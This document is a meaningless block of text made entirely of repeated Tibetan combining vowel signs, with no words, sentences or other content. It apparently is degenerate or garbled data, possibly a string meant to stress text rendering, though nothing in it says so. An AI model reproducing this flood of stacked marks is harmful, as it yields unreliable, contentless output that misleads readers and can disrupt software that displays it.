ཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀི